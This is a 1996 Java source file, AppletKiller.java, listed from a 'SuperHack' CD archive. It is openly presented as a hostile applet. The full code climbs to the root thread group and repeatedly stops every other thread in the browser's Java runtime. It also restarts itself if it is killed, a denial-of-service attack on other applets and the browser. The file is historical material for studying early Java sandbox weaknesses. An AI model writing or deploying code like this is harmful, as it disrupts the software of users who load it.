home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / INTERNET / APPLET_1.ZIP / APPLET~1.JAV
Encoding:
Text File  |  1996-04-27  |  2.8 KB  |  101 lines

  1.  
  2. /*  AppletKiller.java by Mark D. LaDue */
  3.  
  4. /*  April 1, 1996  */
  5.  
  6. /*  Copyright (c) 1996 Mark D. LaDue
  7.     You may study, use, modify, and distribute this example for any purpose.
  8.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  9.  
  10. /*  This hostile applet stops any applets that are running and kills any
  11.     other applets that are downloaded. */ 
  12.  
  13. import java.applet.*;
  14. import java.awt.*;
  15. import java.io.*;
  16.  
  17. public class AppletKiller extends java.applet.Applet implements Runnable {
  18.     Thread killer;
  19.     
  20.     public void init() {
  21.         killer = null;
  22.     }
  23.  
  24.     public void start() {
  25.         if (killer == null) {
  26.             killer = new Thread(this,"killer");
  27.             killer.setPriority(Thread.MAX_PRIORITY);
  28.             killer.start();
  29.         }
  30.     }
  31.  
  32.     public void stop() {}    
  33.  
  34. // Kill all threads except this one
  35.  
  36.     public void run() {
  37.         try {
  38.             while (true) {
  39.                 ThreadKiller.killAllThreads();
  40.                 try { killer.sleep(100); }
  41.                 catch (InterruptedException e) {}
  42.             }
  43.         }
  44.         catch (ThreadDeath td) {}
  45.  
  46. // Resurrect the hostile thread in case of accidental ThreadDeath
  47.  
  48.         finally {
  49.             AppletKiller ack = new AppletKiller();
  50.             Thread reborn = new Thread(ack, "killer");
  51.             reborn.start();
  52.         }
  53.     }
  54. }
  55.  
  56. class ThreadKiller {
  57.  
  58. // Ascend to the root ThreadGroup and list all subgroups recursively,
  59. // killing all threads as we go
  60.  
  61.     public static void killAllThreads() {
  62.         ThreadGroup thisGroup;
  63.         ThreadGroup topGroup;
  64.         ThreadGroup parentGroup;
  65.         
  66. // Determine the current thread group
  67.         thisGroup = Thread.currentThread().getThreadGroup();
  68.         
  69. // Proceed to the top ThreadGroup
  70.         topGroup  = thisGroup;
  71.         parentGroup = topGroup.getParent();
  72.         while(parentGroup != null) {
  73.             topGroup  = parentGroup;
  74.             parentGroup = parentGroup.getParent();
  75.         }
  76. // Find all subgroups recursively 
  77.         findGroups(topGroup);
  78.     }
  79.     
  80.     private static void findGroups(ThreadGroup g) {
  81.         if (g == null) {return;}
  82.         else {
  83.         int numThreads = g.activeCount();
  84.         int numGroups = g.activeGroupCount();
  85.         Thread[] threads = new Thread[numThreads];
  86.         ThreadGroup[] groups = new ThreadGroup[numGroups];
  87.         g.enumerate(threads, false);
  88.         g.enumerate(groups, false);
  89.         for (int i = 0; i < numThreads; i++)
  90.             killOneThread(threads[i]);
  91.         for (int i = 0; i < numGroups; i++)
  92.             findGroups(groups[i]);
  93.         }
  94.     }
  95.  
  96.     private static void killOneThread(Thread t) { 
  97.         if (t == null || t.getName().equals("killer")) {return;}
  98.         else {t.stop();}
  99.     }
  100. }
  101.